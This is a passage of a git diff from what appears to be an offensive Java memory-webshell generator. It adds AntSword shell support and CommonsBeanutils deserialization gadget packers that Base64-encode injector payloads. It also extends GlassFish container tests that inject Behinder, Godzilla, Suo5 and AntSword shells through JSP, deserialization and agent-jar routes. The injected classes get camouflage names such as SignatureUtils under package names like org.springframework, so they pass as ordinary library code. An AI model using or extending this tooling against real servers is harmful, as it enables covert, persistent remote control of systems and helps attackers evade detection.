builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
||||
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||
@@ -87,9 +87,14 @@ public enum Packers {
|
||||
JinJava(new JinJavaPacker()),
|
||||
|
||||
/**
|
||||
* 反序列化打包器
|
||||
* Java 反序列化打包器
|
||||
*/
|
||||
Deserialize(new DeserializePacker()),
|
||||
JavaDeserialize(new JavaDeserializePacker()),
|
||||
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
|
||||
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils110Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils16Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils18Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
+4
-4
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize;
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
@@ -10,9 +10,9 @@ import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class DeserializePacker implements Packer {
|
||||
public class CommonsBeanutils19Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
@@ -21,4 +21,4 @@ public class DeserializePacker implements Packer {
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JavaDeserializePacker implements AggregatePacker {
|
||||
|
||||
}
|
||||
@@ -6,7 +6,10 @@ import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Random;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
@@ -16,6 +19,13 @@ import java.util.zip.GZIPOutputStream;
|
||||
public class CommonUtil {
|
||||
|
||||
public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
|
||||
public static final Set<String> JAVA_KEYWORDS = new HashSet<>(Arrays.asList(new String[]{
|
||||
"abstract", "assert", "boolean", "break", "byte", "case", "catch", "char", "class", "const",
|
||||
"continue", "default", "do", "double", "else", "enum", "extends", "final", "finally", "float",
|
||||
"for", "goto", "if", "implements", "import", "instanceof", "int", "interface", "long", "native",
|
||||
"new", "package", "private", "protected", "public", "return", "short", "static", "strictfp", "super",
|
||||
"switch", "synchronized", "this", "throw", "throws", "transient", "try", "void", "volatile", "while"
|
||||
}));
|
||||
private static final String[] PACKAGE_NAMES = {
|
||||
"org.springframework",
|
||||
"org.apache.commons",
|
||||
@@ -59,6 +69,14 @@ public class CommonUtil {
|
||||
}
|
||||
|
||||
public static String getRandomString(int length) {
|
||||
String randomString = getRandomStringInternal(length);
|
||||
while (JAVA_KEYWORDS.contains(randomString)) {
|
||||
randomString = getRandomStringInternal(length);
|
||||
}
|
||||
return randomString;
|
||||
}
|
||||
|
||||
private static String getRandomStringInternal(int length) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
SecureRandom random = new SecureRandom();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
@@ -11,6 +11,7 @@ dependencies {
|
||||
testImplementation project(":tools:behinder")
|
||||
testImplementation project(":tools:godzilla")
|
||||
testImplementation project(":tools:suo5")
|
||||
testImplementation project(":tools:ant-sword")
|
||||
testImplementation project(':generator')
|
||||
|
||||
testImplementation 'net.bytebuddy:byte-buddy'
|
||||
|
||||
+23
-1
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.antsword.AntSwordManager;
|
||||
import com.reajason.javaweb.behinder.BehinderManager;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||
@@ -92,6 +93,9 @@ public class ShellAssertionTool {
|
||||
case Suo5:
|
||||
testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
case AntSword:
|
||||
testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -137,6 +141,15 @@ public class ShellAssertionTool {
|
||||
assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue()));
|
||||
}
|
||||
|
||||
public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
|
||||
AntSwordManager antSwordManager = AntSwordManager.builder()
|
||||
.entrypoint(entrypoint)
|
||||
.pass(shellConfig.getPass())
|
||||
.header(shellConfig.getHeaderName()
|
||||
, shellConfig.getHeaderValue()).build();
|
||||
assertTrue(antSwordManager.getInfo().contains("ok"));
|
||||
}
|
||||
|
||||
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
@@ -185,6 +198,15 @@ public class ShellAssertionTool {
|
||||
.build();
|
||||
log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName);
|
||||
break;
|
||||
case AntSword:
|
||||
String antPassword = "ant";
|
||||
shellToolConfig = AntSwordConfig.builder()
|
||||
.pass(antPassword)
|
||||
.headerName("User-Agent")
|
||||
.headerValue(uniqueName)
|
||||
.build();
|
||||
log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName);
|
||||
break;
|
||||
}
|
||||
return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
}
|
||||
@@ -219,7 +241,7 @@ public class ShellAssertionTool {
|
||||
case JinJava -> VulTool.postData(url + "/jinjava", content);
|
||||
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
||||
case Velocity -> VulTool.postData(url + "/velocity", content);
|
||||
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
||||
case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content);
|
||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||
|
||||
+20
-12
@@ -50,32 +50,40 @@ public class GlassFish3ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+20
-12
@@ -51,32 +51,40 @@ public class GlassFish4ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+20
-12
@@ -43,32 +43,40 @@ public class GlassFish501ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+23
-12
@@ -43,41 +43,52 @@ public class GlassFish510ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
